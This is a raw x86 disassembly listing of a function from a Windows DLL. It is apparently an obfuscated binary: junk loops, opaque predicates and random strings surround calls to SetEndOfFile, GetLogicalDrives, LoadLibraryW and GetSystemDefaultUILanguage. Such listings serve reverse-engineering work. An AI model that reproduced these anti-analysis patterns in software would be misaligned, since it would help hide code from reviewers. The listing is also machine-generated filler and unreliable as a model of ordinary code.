lea ecx, [ebp - 0x28c]
call fcn.1000e817
mov al, byte [0x10075bd0]
xor dl, dl
push 0xc63
push 1
push 1
push 0x1059
mov ecx, 0x719
mov byte [ebp - 0x3d], al
mov byte [ebp - 0x49], al
call fcn.1002241b
mov eax, dword [ebp - 0xec]
add esp, 0x10
mov cl, byte [0x10075bd0]
mov dl, byte [eax]
call fcn.1002a6b1
xor esi, esi
mov byte [0x10075bd0], al
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 4
jge 0x100275f6
mov edi, dword [ebp - 0x100]
mov edx, 0x5ec2
push 0x5886
push 0x703d
push 1
mov al, byte [esi + edi]
mov ecx, 0x5c6e
push 0x645b
push ebx
push 0xfb5
push 1
mov byte [ebp - 0x35], al
mov byte [ebp - 0x6c], al
call fcn.10024a43
mov eax, esi
mov cl, byte [ebp - 0x35]
cdq
add esp, 0x1c
idiv dword [ebp - 0x118]
mov esi, edx
mov dl, byte [ebp - 0x3d]
call fcn.1002a6b1
mov ecx, dword [ebp - 0xec]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.1002a6b1
mov ecx, dword [ebp - 0x34]
mov byte [ecx + edi], al
mov dword [ebp - 0x20], 0xf3690f1d
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x2c], 0xbc56e700
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x24], 0x143b
cmp dword [ebp - 0x24], 0x17da
jle 0x100274f6
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, esi
mov dword [ebp - 0x18], eax
mov esi, eax
mov edi, ebx
shl esi, cl
mov dword [ebp - 0x18], ebx
mov ecx, ebx
mov eax, edi
shl eax, cl
mov ecx, 0x10079158
and eax, esi
cdq
push edx
push eax
call fcn.1000e4b2
inc ebx
cmp ebx, 0x5f05
jl 0x100274af
inc edi
push 0
pop ebx
cmp edi, 0x2efc
jl 0x100274ac
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x2288
jl 0x100274a1
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x74ee
jl 0x1002749c
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x24], 0x11ab
jge 0x10027515
mov edx, str.jphyrmyr_pqfzjz_iqoi_mqiu_mcclptra_zcgacrq_edwuzj_tyuegfmk_dbzpqxfn_rglxhatam_sdqy
mov ecx, 0x10079158
call fcn.10012e6f
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10027550
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x488], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10027543
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
imul ecx, edx, 0x51e
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
je 0x100275a0
mov eax, dword [ebp - 0x2c]
push 0x6f84
push 1
push 0x2a51
call fcn.1002453b
add esp, 0xc
mov dword [ebp - 0x1c], ebx
jmp 0x100275c8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x488], ebx
jne 0x100275ce
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x100275b9
push ebx
push ecx
push 0xa6b
sub esp, 0xc
lea eax, [ebp - 0x49]
lea edx, [ebp - 0x6c]
push eax
call fcn.10023171
mov esi, dword [ebp - 0x34]
add esp, 0x1c
mov al, byte [ebp - 0x49]
inc esi
mov byte [ebp - 0x3d], al
jmp 0x100273eb
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x54], 0x44455595
mov dword [ebp - 0x58], 0xfffffffd
mov dword [ebp - 0xd0], 0xffffffff
mov dword [ebp - 0xf4], 0x8ed0bd2f
mov dword [ebp - 0xe4], 0x811ffbe6
mov dword [ebp - 0xd4], 0xddb2
mov byte [ebp - 0x35], bl
cmp byte [ebp - 0x35], 0
je 0x1002765b
push 1
push 0x55e5
push 1
mov dl, 1
mov ecx, 0x61cc
call fcn.10021d75
add esp, 0xc
cmp dword [ebp - 0x58], ebx
je 0x10027694
dec dword [ebp - 0xd0]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xd0]
setle cl
imul eax, ecx
mov ecx, 0x5ad0
sub ecx, eax
mov eax, dword [ebp - 0x54]
add eax, ecx
je 0x10027694
xor eax, eax
inc eax
jmp 0x10027696
mov eax, ebx
mov dword [ebp - 0xf4], eax
xor edx, edx
mov ecx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x58]
cmp ecx, eax
setl dl
sub edx, 0x98cb
je 0x100276c1
cmp dword [ebp - 0xd0], ebx
je 0x100276c1
xor eax, eax
inc eax
jmp 0x100276c3
mov eax, ebx
xor ecx, ecx
cmp eax, 0x9634
mov eax, dword [ebp - 0x58]
setne cl
add eax, ecx
mov ecx, dword [ebp - 0x58]
imul ecx, eax
test ecx, ecx
je 0x100276ee
cmp dword [ebp - 0x58], ebx
je 0x100276ee
cmp dword [ebp - 0xf4], ebx
je 0x100276ee
xor eax, eax
inc eax
jmp 0x100276f0
mov eax, ebx
cmp eax, dword [ebp - 0xe4]
jl 0x10027705
cmp dword [ebp - 0xd4], ebx
je 0x10027705
xor edx, edx
inc edx
jmp 0x10027707
mov edx, ebx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x58]
setle cl
xor edx, edx
cmp ecx, 0xd4c3
setge dl
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x54]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
cmp ecx, 0xf518
setl dl
xor eax, eax
cmp edx, 0xc8f9
setl al
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xe4]
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
add edx, 0xffff9f5e
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0xd4]
setle cl
xor edx, edx
add ecx, 0x23b4ab3b
cmp ecx, eax
mov eax, dword [ebp - 0xd4]
setle dl
add eax, edx
jne 0x100277b4
cmp dword [ebp - 0xe4], ebx
jne 0x100277b4
cmp dword [ebp - 0x54], ebx
je 0x100277be
cmp dword [ebp - 0x54], ebx
je 0x100277be
xor ecx, ecx
inc ecx
jmp 0x100277c0
mov ecx, ebx
mov eax, dword [ebp - 0x54]
add eax, ecx
je 0x10027815
push 0x7b0e
push 0x39ee
push 0x1156
push 0x7d19
push 1
push 0x285b
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x2c0], 0xeceb
push eax
push 0x768
push ebx
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], 0x1589a458
mov cl, 1
call fcn.1002545c
add esp, 0x24
jmp 0x10027876
lea eax, [ebp - 0x250]
mov dword [ebp - 0x1e8], ebx
push eax
push 0x1801
lea eax, [ebp - 0xe4]
mov dword [ebp - 0x1b4], 0xad942a26
push eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x250], 2
push eax
lea eax, [ebp - 0x58]
push eax
push ecx
push ecx
push ebx
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0xd4]
push eax
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0xf4]
call fcn.10025057
add esp, 0x2c
mov eax, dword [ebp - 0x114]
dec eax
cmp eax, 0x2fa7
ja 0x10029461
lea eax, [ebp - 0x114]
push eax
push ecx
lea eax, [ebp - 0x1f0]
mov ecx, 0x7c40
push eax
lea eax, [ebp - 0x49]
push eax
push 0x5c5a
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0xec]
push 1
push eax
lea edx, [ebp - 0x118]
call fcn.1002223c
push 0x2dd7
push 0x28d8
push 1
push 1
push 0x1039e0fc
mov edx, 0x21ef
xor cl, cl
call fcn.10025251
add esp, 0x34
lea ecx, [ebp - 0x29c]
push 2
call fcn.1000e794
push 0x657e
push 0xe4e
push 1
lea eax, [ebp - 0x29c]
mov dword [ebp - 4], 0x1b
push eax
mov dword [ebp - 0x24], 0xfff8
lea edx, [ebp - 0xb0]
mov dword [ebp - 0x28], 7
xor cl, cl
push 1
call fcn.100250e6
add esp, 0x14
mov dword [ebp - 0xb0], ebx
push 3
pop edi
jmp 0x1002794b
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x12c], 0x79763266
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], edi
jl 0x10027934
mov dword [ebp - 0x12c], 1
cmp dword [ebp - 0x12c], ebx
jl 0x10027a0f
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 0xb7136239
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul edx, eax, 0xaa1c
mov eax, dword [ebp - 0x124]
sub edx, eax
mov eax, dword [ebp - 0x12c]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x5bb00289
setne al
test eax, eax
jns 0x100279c1
cmp dword [ebp - 0x12c], ebx
jne 0x100279c1
mov edi, ebx
jmp 0x100279c4
xor edi, edi
inc edi
mov esi, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x29c]
mov ecx, dword [eax + ecx*4]
xor eax, eax
cmp edi, 0x2f34
mov dword [edx + esi*4], ecx
setl al
cmp ecx, eax
jg 0x100279f7
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x12c]
jns 0x10027972
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x29c]
call fcn.1000e817
mov dword [ebp - 0x28], 0x3ee6
cmp dword [ebp - 0x28], 0x41c0
jle 0x10027a5c
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10079158
or eax, esi
cdq
push edx
push eax
call fcn.1000e4b2
inc edi
cmp edi, 0x589
jl 0x10027a32
inc esi
cmp esi, 0xaa6
jl 0x10027a30
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x28], 0x3c08
mov dword [ebp - 0xac], ebx
jge 0x10027a81
mov edx, str.trarya_rxbnrzio_xhwui_nmeofu_yppripnnr_yhvc_lhepo_crr_hye_fddsk
mov ecx, 0x10079158
call fcn.10012e6f
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xb8], 0xddc85f70
mov dword [ebp - 0x24], 0x5210
cmp dword [ebp - 0x24], 0x5246
jle 0x10027ad7
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, esi
mov esi, 0x48fe
mov eax, edi
mov ecx, 0x10079158
cdq
push edx
push eax
call fcn.1000e4b2
dec edi
dec esi
jne 0x10027ab1
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x70
jl 0x10027aaa
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x258], 0xb8b78acc
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x24], 0x4eb1
jge 0x10027b00
mov edx, str.fntibh_ttjh_akkhbeop_nglgrw_ojow_ryhuea_frtxftr_pohrvne
mov ecx, 0x10079158
call fcn.10012e6f
or dword [ebp - 4], 0xffffffff
push 3
mov dword [ebp - 0x30], ebx
pop esi
mov dword [ebp - 0xb8], 0xfffffff7
jmp 0x10027bcf
push 1
lea ecx, [ebp - 0x480]
call fcn.1000e794
lea eax, [ebp - 0x23c]
mov dword [ebp - 4], 0x20
push eax
push ecx
mov dword [ebp - 0x18], ebx
lea edx, [ebp - 0x480]
mov cl, 1
call fcn.10024629
mov dword [ebp - 0x18], ebx
pop ecx
pop ecx
cmp dword [ebp - 0x18], ebx
jl 0x10027bba
push 1
push 1
mov byte [ebp - 0x69], bl
lea ecx, [ebp - 0x69]
push 1
mov edx, 0x2adc
call fcn.10024938
add esp, 0xc
dec dword [ebp - 0x18]
jns 0x10027b9c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x480]
call fcn.1000e817
inc dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 0x10
jle 0x10027b66
push ecx
lea eax, [ebp - 0x258]
xor cl, cl
push eax
lea eax, [ebp - 0xb8]
push eax
push 0x4921
call fcn.100234d2
mov eax, dword [ebp - 0x100]
lea ecx, [ebp - 0x374]
add esp, 0x10
mov dword [ebp - 0x200], 0x69f30cc2
add eax, 4
mov dword [ebp - 0x2bc], ebx
mov dword [ebp - 0x260], 0xffffffff
mov dword [ebp - 0x28], eax
push esi
call fcn.1000e794
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 0x208], 0xffff
push esi
call fcn.1000e794
push 1
push ebx
push 0x7245
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 0x22
push 0x1fba
push eax
mov dl, 1
lea ecx, [ebp - 0x374]
call fcn.10025a11
add esp, 0x14
lea eax, [ebp - 0x3e0]
mov ecx, 0x4d3a
push 0x5330
push eax
lea eax, [ebp - 0x1f8]
push ebx
push eax
call fcn.100230ea
add esp, 0x10
lea eax, [ebp - 0x374]
lea edx, [ebp - 0x260]
push eax
lea eax, [ebp - 0x3e0]
push eax
push ecx
push ecx
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x200]
push 1
push eax
lea ecx, [ebp - 0x208]
call fcn.10022d4d
add esp, 0x1c
lea ecx, [ebp - 0x3e0]
call fcn.1000e817
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x374]
call fcn.1000e817
mov dword [ebp - 0x18], 0x24a8c6a5
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jge 0x10027d81
mov dword [ebp - 0x24], 0x217c
cmp dword [ebp - 0x24], 0x21b9
jle 0x10027d28
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10079158
cdq
push edx
push eax
call fcn.1000e4b2
inc edi
cmp edi, 0x3816
jl 0x10027d03
inc esi
cmp esi, 0x6356
jl 0x10027d01
push 3
pop esi
push ebx
mov ecx, 0x7cf5
call fcn.10024f4c
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x24], 0x1fa8
pop ecx
jge 0x10027d53
mov edx, str.eprlp_xzxmtdkfs_ztkyc
mov ecx, 0x10079158
call fcn.10012e6f
or dword [ebp - 4], 0xffffffff
inc dword [ebp - 0x18]
jmp 0x10027ce6
push 1
push ecx
push 0x1fbf
mov byte [ebp - 0x6d], bl
lea edx, [ebp - 0x6d]
push ecx
call fcn.100249b3
mov eax, 0x70ad6f2e
lea ecx, [ebp - 0x2ac]
add esp, 0x10
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
push esi
call fcn.1000e794
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 0xa88acc16
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0xc0], ebx
jmp 0x10027df8
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0xa8], 1
inc dword [ebp - 0xc0]
cmp dword [ebp - 0xc0], 2
jl 0x10027de1
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0xc0]
push eax
push ecx
mov cl, 1
call fcn.10024660
add esp, 0xc
mov dword [ebp - 0xa4], esi
cmp dword [ebp - 0xa4], ebx
jl 0x10027f5e
push dword [ebp - 0x23c]
lea eax, [ebp - 0x488]
mov dword [ebp - 0x194], ebx
push eax
lea eax, [ebp - 0x498]
mov dword [ebp - 0x190], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x18c], ebx
push ebx
lea ecx, [ebp - 0x194]
movdqu xmmword [ebp - 0x498], xmm0
call fcn.10013b89
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x18], ebx
jmp 0x10027e83
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d4], 0x77c8748a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10027e72
push ecx
mov dl, 1
lea ecx, [ebp - 0x194]
call fcn.100249fb
mov eax, dword [ebp - 0xa4]
pop ecx
cmp dword [ebp + eax*4 - 0x110], ebx
je 0x10027f23
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x10027f32
mov eax, dword [ebp - 0xa4]
xor edx, edx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp + eax*4 - 0x110]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0xa4]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x110]
add eax, edx
cmp eax, 0x42e1
mov eax, dword [ebp - 0xa4]
setge cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x110]
add eax, 0xffff33a4
add ecx, eax
mov eax, dword [ebp - 0x108]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x4cc], ecx
dec dword [ebp - 0x18]
jns 0x10027eb5
jmp 0x10027f32
mov eax, dword [ebp - 0xa4]
cmp dword [ebp + eax*4 - 0x110], ebx
jne 0x10027f4f
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x25
call fcn.1000e817
dec dword [ebp - 0xa4]
jns 0x10027e2c
jmp 0x10027f5e
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x25
call fcn.1000e817
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x100280b1
push 4
lea ecx, [ebp - 0x3c8]
call fcn.1000e794
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x20], 0x197cbb40
mov dword [ebp - 0x24], 0xb56fe18
mov dword [ebp - 0x18], ebx
jmp 0x10027fa0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c8]
mov dword [eax + ecx*4], 0xf6f0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10027f8d
inc dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x110]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setl dl
xor ecx, ecx
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x110]
cmp edx, eax
setg cl
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x1002809a
mov edi, dword [ebp - 0x3c8]
mov dword [ebp - 0x34], 0xffffffff
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x110], 0xcb566e66
mov dword [ebp - 0xa8], 0xcb566e66
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x2ac]
mov eax, dword [ebp - 0xa8]
cmp dword [edx + esi*4], eax
setg cl
cmp ecx, 8
sbb eax, eax
xor edx, edx
inc eax
cmp eax, dword [edi + 4]
mov eax, dword [ebp - 0x1c]
setl dl
mov ecx, dword [ebp + eax*4 - 0x110]
mov eax, dword [ebp - 0x24]
add eax, edx
imul ecx, eax
test ecx, ecx
je 0x1002805d
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2ac]
cmp dword [eax + ecx*4], ebx
je 0x1002805d
xor edx, edx
inc edx
jmp 0x1002805f
mov edx, ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110], edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2ac]
cmp dword [eax + ecx*4], edx
jl 0x10028081
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x110]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x110]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
jns 0x10027ff0
lea ecx, [ebp - 0x3c8]
call fcn.1000e817
dec dword [ebp - 0x1c]
jns 0x10027f6a
push 3
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2ac]
call fcn.1000e817
mov byte [ebp - 0x7c], bl
mov dword [ebp - 0x7b], 0x991802c8
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], 0x6e58d020
mov dword [ebp - 0x24], 0x8ccedb77
mov dword [ebp - 0x20], 0xfffffff6
jmp 0x1002820b
mov dword [ebp - 0x18], 0xfffffff9
lea ecx, [ebp - 0x38c]
push esi
call fcn.1000e794
lea eax, [ebp - 0x438]
mov dword [ebp - 4], 0x27
push eax
push 1
lea eax, [ebp - 0x38c]
mov dword [ebp - 0x24], 0xfffffffb
push 1
mov dword [ebp - 0x2c], 0xfcb4
mov dl, 1
mov dword [ebp - 0x24], 2
mov ecx, 0x6d4d
push eax
call fcn.1002241b
push 0x1769
push 0x67fe
push 1
push 0x5f7a
push 1
push 0x1522
mov byte [ebp - 0x6f], bl
lea edx, [ebp - 0x6f]
push 1
mov ecx, 0xf10
call fcn.10024a43
mov eax, dword [ebp - 0x20]
add esp, 0x2c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jl 0x1002817c
cmp dword [ebp - 0x20], ebx
je 0x1002817c
xor ecx, ecx
inc ecx
jmp 0x1002817e
mov ecx, ebx
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
push 0xfffffffffffffffa
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, 0xa9ce
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38c]
pop ecx
mov dword [eax], ecx
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jl 0x100281cd
cmp dword [ebp - 0x2c], ebx
jne 0x100281cd
mov edx, ebx
jmp 0x100281d0
xor edx, edx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, edx
mov edx, dword [ebp - 0x18]
setle cl
sub edx, ecx
lea ecx, [ebp - 0x38c]
inc edx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x254e7f13
setg al
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
call fcn.1000e817
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1b
jle 0x100280e7
mov byte [ebp - 0x35], bl
cmp byte [ebp - 0x35], 0
je 0x10028230
sub esp, 0xc
mov edx, 0x5fab
push 1
call fcn.10022771
add esp, 0x10
push 0xa
pop eax
mov word [ebp - 0xd8], ax
mov dword [ebp - 0x18], 0x4366
cmp dword [ebp - 0x18], 0x446f
jle 0x10028297
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0x3e68
mov esi, dword [ebp - 0x2c]
mov edi, ebx
mov eax, esi
mov ecx, 0x10079158
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000e4b2
inc edi
cmp edi, 0x1ddb
jl 0x1002825c
mov esi, dword [ebp - 0x34]
add dword [ebp - 0x2c], esi
dec dword [ebp - 0x24]
jne 0x10028257
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x2f87
jl 0x1002824d
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 4
lea ecx, [ebp - 0x3a4]
call fcn.1000e794
push 0x28
pop esi
mov dword [ebp - 4], esi
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x18], 0x4345
jge 0x100282c6
mov edx, str.mkilxiq_deh_dwci_aezv_kdtmfo_wzbqypxg_nlfa_ipavtyzh_bmyeo_dzffysurb_bieqterwn_qzceixot
mov ecx, 0x10079158
call fcn.10012e6f
mov dword [ebp - 4], esi
push 3
mov dword [ebp - 0xc8], 0xfffffffc
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x10028310
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3a4]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10028300
mov dword [ebp - 0xc8], ebx
jmp 0x10028381
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x2a0], 0x7f759609
push eax
lea eax, [ebp - 0x3a4]
mov cl, 1
push eax
push 1
push ebx
push 0xf90
lea edx, [ebp - 0xc8]
call fcn.10025251
add esp, 0x14
mov byte [ebp - 0x71], bl
lea edx, [ebp - 0x71]
xor cl, cl
push 0x4f1
push 0x7992
push 0x4f6f
push 0x64fd
push 0x3ce8
push 1
push 1
call fcn.10025d83
add esp, 0x1c
inc dword [ebp - 0xc8]
cmp dword [ebp - 0xc8], esi
jle 0x1002831e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3a4]
call fcn.1000e817
push 2
pop edi
mov ecx, ebx
cmp edi, 5
jae 0x10028851
movzx eax, byte [ebp - 0x7c]
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x1002879a
movzx esi, byte [ebp + edi - 0x7c]
push 1
lea eax, [esi + 1]
mov dword [ebp - 0x30], eax
call fcn.10024834
dec edi
mov dword [ebp - 0x50], 0xffff
add edi, esi
mov dword [ebp - 0x24], 0x6d71
cmp dword [ebp - 0x24], 0x7014
pop ecx
mov dword [ebp - 0x3c], edi
jle 0x10028438
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x56c]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028411
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x56c]
call fcn.1000efb0
inc esi
cmp esi, 0x4d0c
jl 0x100283f3
inc edi
cmp edi, 0x61a3
jl 0x100283f1
mov dword [ebp - 0x1c], 0x3245
cmp dword [ebp - 0x24], 0x6d1b
jge 0x10028453
push str.suq_eotai_wmiutvn_pabazi_nknowsv_xlarnxcg_qdx_rurgurg_tom_dbnzpddef
call fcn.10045eb3
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x268], 5
mov dword [ebp - 0x34], 0xc39fbd05
push 2
call fcn.1000e794
push 3
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x90], ebx
pop esi
jmp 0x100284a5
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x474], 0xffffffff
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], esi
jl 0x1002848e
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x338]
push eax
push ecx
push 1
call fcn.100228df
mov eax, dword [ebp - 0x50]
add esp, 0x10
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x50]
test eax, eax
jne 0x100284e0
cmp dword [ebp - 0x50], ebx
jne 0x100284e0
mov eax, ebx
jmp 0x100284e3
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
cmp ecx, eax
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
setge dl
sub edx, 0x44c3
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
xor edx, edx
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x24]
neg edx
je 0x10028579
push 0x285c
lea eax, [ebp - 0x73]
mov dword [ebp - 0x218], 1
push eax
push ecx
mov dword [ebp - 0x210], 9
mov edx, 0x1c72
push ebx
